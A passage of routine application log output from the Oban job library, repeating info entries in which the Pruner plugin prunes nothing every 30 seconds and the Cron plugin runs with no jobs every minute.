{"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.175 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:21.341 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:51.343 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.176 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:21.345 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:51.347 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.177 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:21.349 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:51.351 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.178 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:21.353 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:51.355 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.179 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:21.357 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:51.359 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.180 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:21.361 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:51.363 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.181 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:21.365 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:51.367 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.182 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:21.369 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:51.371 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.183 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:21.373 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:51.376 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.184 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:21.378 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:51.380 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.185 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:21.382 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:51.384 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.186 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:21.386 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:51.388 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.187 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:21.390 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:51.393 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.188 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:21.395 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:51.397 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.189 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:21.399 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:51.401 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.191 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:21.403 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:51.405 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.192 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:21.407 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:51.409 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.193 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:21.411 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:51.413 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.194 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:21.415 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:51.417 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.195 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:21.419 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:51.421 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.196 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:21.422 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:51.425 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.197 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:21.427 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:51.429 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.198 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:21.431 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:51.433 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.199 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:21.435 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:51.437 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.200 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:21.439 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:51.441 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.201 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:21.443 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:51.445 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.202 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:21.447 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:51.449 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.203 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:21.451 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:51.453 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.204 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:21.455 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:51.457 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.205 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:21.459 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:51.461 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.206 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:21.463 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:51.465 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.207 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:21.467 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:51.469 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.208 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:21.471 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:51.473 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.209 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:21.475 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:51.477 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.210 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:21.479 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:51.481 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.211 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:21.483 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:51.485 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.212 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:21.487 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:51.489 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.213 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:21.491 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:51.493 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.214 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:21.495 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:51.497 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.215 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:21.499 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:51.501 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.216 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:21.503 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:51.505 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.217 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:21.507 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:51.509 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.218 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:21.511 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:51.513 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.219 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:21.515 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:51.517 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.220 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:21.519 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:51.521 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.221 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:21.523 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:51.525 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.222 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:21.527 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:51.529 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.223 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:21.531 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:51.533 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.224 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:21.535 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:51.537 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.225 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:21.539 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:51.541 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.226 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:21.543 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:51.545 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.227 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:21.547 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:51.549 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.228 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:21.551 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:51.553 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.229 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:21.555 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:51.557 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.230 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:21.559 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:51.561 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.231 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:21.563 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:51.565 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.232 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:21.567 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:51.569 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.233 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:21.571 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:51.573 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.234 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:21.574 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:51.577 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.235 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:21.579 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:51.581 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.236 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:21.583 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:51.585 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.237 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:21.587 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:51.590 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.238 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:21.592 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:51.594 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.239 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:21.596 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:51.598 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.240 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:21.600 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:51.602 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.241 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:21.604 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:51.606 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.242 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:21.608 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:51.610 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.243 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:21.612 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:51.614 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.244 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:21.616 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:51.618 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.245 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:21.620 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:51.622 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.246 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:21.624 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:51.626 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.247 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:21.628 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:51.630 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.248 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:21.633 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:51.635 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.249 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:21.637 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:51.639 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.250 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:21.641 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:51.643 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.251 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:21.645 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:51.647 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.252 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:21.649 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:51.651 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.253 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:21.653 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:51.655 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.254 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:21.657 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:51.659 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.255 [info] 